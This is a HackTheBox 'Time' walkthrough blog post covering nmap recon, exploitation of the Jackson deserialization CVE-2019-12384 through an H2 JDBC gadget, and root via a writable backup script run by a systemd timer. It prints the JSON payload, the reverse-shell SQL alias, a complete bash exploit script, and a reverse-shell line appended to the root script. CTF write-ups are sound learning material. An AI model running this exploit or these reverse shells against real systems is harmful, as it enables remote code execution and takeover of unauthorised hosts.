Me - *technically not*


HTB - Time

A medium HackTheBox machine involving Jackson (JSON library) and system timers.

4 months ago | ca. 10min to read

A rather short medium box - initial foothold using an older CVE that could take a little time to find, final privesc using a script root runs for us. Considering all of this it was still an interesting machine.

table of contents



First things first, as always, I kicked off an extensive port scan:

sudo nmap -vv -A -oA nmap/top
# Nmap 7.91 scan initiated Thu Feb 18 22:36:18 2021 as: nmap -vv -A -oA nmap/top
Increasing send delay for from 0 to 5 due to 46 out of 151 dropped probes since last increase.
Nmap scan report for
Host is up, received echo-reply ttl 63 (0.15s latency).
Scanned at 2021-02-18 22:36:19 CET for 175s
Not shown: 998 closed ports
Reason: 998 resets
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDqO75jA9cYksdPP+eBZBYzvJERbVfExL7kXpMJQpmpHoJdl9EG/wSsXgEH4BXsa56Rv2i32ClI7QvykILEpL6JyhHi3xS8vlNud8CQCYCYNCiBzpa84ucBbLpFaR331qH3n1PNrlBjvH0g4jmlQjlKMHRNSjxOS5XjO3JMYFhBkI3tZKXuo9dg/0wHwXXbGa5gFihkrTkGqinaPRACYC8FCgQ3UUpUzjTUUwSLMMMMAUJX+WkqPiD3++VCSmQmJn4rtOQK2PNzesJQFrHk5BLj6J2gfLUkgvVu2dMVCYAJ8Pom+sYRLq5dkBdaXugjpFXGWFXxYjh57h21HVtkdAVyObBu4iNlZQNYNPpYKuLbmTKdEv86FMfw/g1ZasV1q53gEc4vWyWVQSkarHXPyMYTY1nsFEIvkhGl8CsuwS0HioWaBRsF/+jQF+5Zty43VWJuu+PanAIOelmxAHrfNm//XrIW7RjqCLEDj0MpUeK4KUMx7WPuyE10zpESpuqhtAU=
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCY27npy127v6WaSs6QO9MlX1RCjlp8ceQ0UyP6SfI+Q7UZrmg0qLFANnuqkm8iNio+TLTTOIAv5itdE0ahgzgE=
|   256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFy9CB1oSRwsAZJb6AMVD7/T0qxBk2G7/hV2Db57c0Kj
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Uptime guess: 11.370 days (since Sun Feb  7 13:45:44 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
1   561.66 ms
2   503.90 ms

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Thu Feb 18 22:39:15 2021 -- 1 IP address (1 host up) scanned in 176.53 seconds

... SSH is listening on port 22 and Apache on 80 - not too extraordinary. A full scan didn't present any more open ports.

web server

Visiting the website, we are greeted by an "Online JSON Beautifier & Validator":

... while the Beautify mode doesn't seem too interesting, the Validate (beta!) option, on the other hand, seems to be all the more promising. Simply entering {} already gives us some useable output:

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

... this tells us that whatever JSON we enter will most likely be parsed by the com.fasterxml.jackson Java library in the backend. Let's go find ourselves a CVE, shall we?



Okay, I have to admit, it take me quite some time to finally discover the right CVE, since there were quite a lot of similar ones out there ... ^^

Anyway, simply searching MITRE for a term like fasterxml will return quite many results. This is cool and all, but trying many of them by hand is rather tedious. So... I narrowed it down a bit by searching this awesome list of CVE POCs instead. And ... the first one, CVE-2019-12384, already worked!


For purposes of learning and not being a script kiddie, I took a closer look at what the exploit is actually doing and why it works. Here's a short summary.

The first part of the epxloit the one actually abusing a Jackson deserialization flaw makes use of the "gadget" ch.qos.logback.core.db.DriverManagerConnectionSource which can be passed a JDBC URL in its "url" attribute:

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM ''"}]

... if the Jackson deserializer is used with default typing enabled, the DriverManagerConnectionSource will be initialized with the given JDBC URL, which will in turn download and execute the inject.sql script from the attacking machine.

Because the database in question is the H2 database, we can abuse its CREATE ALIAS to define and execute a Java function that opens up a reverse shell - the inject.sql could look something like ...

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? : "";  }
CALL SHELLEXEC('bash -i >& /dev/tcp/ 0>&1')


To make exploitation simpler and easier to repeat, I decided to write a little bash script that would automate execution:



if [[ $# -lt 1 ]]; then
    echo "Usage: $0 <target-url>"
    exit 1

if [[ $# -ge 2 ]]; then

if [[ ! -d "exploit" ]]; then
    mkdir exploit

cd exploit

echo 'CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? : "";  }
CALL SHELLEXEC('"'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1')" > inject.sql

/usr/bin/env python3 -m http.server $WPORT &

echo "Start a reverse shell listener on :$LPORT and press <ENTER> ... "
echo "-> nc -lvnp $LPORT"

curl -X POST -d "mode=2&data=%5B%22ch.qos.logback.core.db.DriverManagerConnectionSource%22,%20%7B%22url%22:%22jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT%20FROM%20'http://$LHOST:$WPORT/$PAYLD'%22%7D%5D" --max-time 30 $1 >/dev/null

kill $pypid

... after executing it, we are presented with a reverse shell and can get the user flag:

cat ~/user.txt



Transferring to the target machine and executing it reveals some rather interesting facts.

Several lines of the enumerations script output will tell you that there is an interesting writeable file in /usr/bin/, furthermore, in the "System Timers" section we can notice that the top timer has a rather similar name:

[+] System timers                                                                 
NEXT                        LEFT          LAST                        PASSED               UNIT                         ACTIVATES                     
Sat 2021-02-20 23:14:01 UTC 4s left       Sat 2021-02-20 23:13:51 UTC 5s ago               timer_backup.timer           timer_backup.service

... taking a look at this timer/service in /etc/systemd/system/timer_backup.[timer|service] points us to yet another file - /etc/systemd/system/web_backup.service:

cat /etc/systemd/system/timer_backup.*
Description=Creates backups of the website

ExecStart=/bin/bash /usr/bin/
[email protected]:/dev/shm$ cat /etc/systemd/system/timer_backup.*
Description=Calls website backup

ExecStart=/usr/bin/systemctl restart web_backup.service
Description=Backup of the website



... and taking a look at that ...

cat /etc/systemd/system/
Description=Creates backups of the website

ExecStart=/bin/bash /usr/bin/

... it circles back to the intersting file /usr/bin/ - which we can edit!


The discoveries made during enumeration make privesc rather trivial - simply append a line to spawn a reverse shell to the bash script that is run as root in periodical intervals:

echo 'bash -c "bash -i >& /dev/tcp/ 0>&1"' >> /usr/bin/

... even though the shell isn't all too stable, it still provides us with more than enough time to retrieve the root flag:

cat ~/root.txt

further reading

© 2021 Matthias Monschein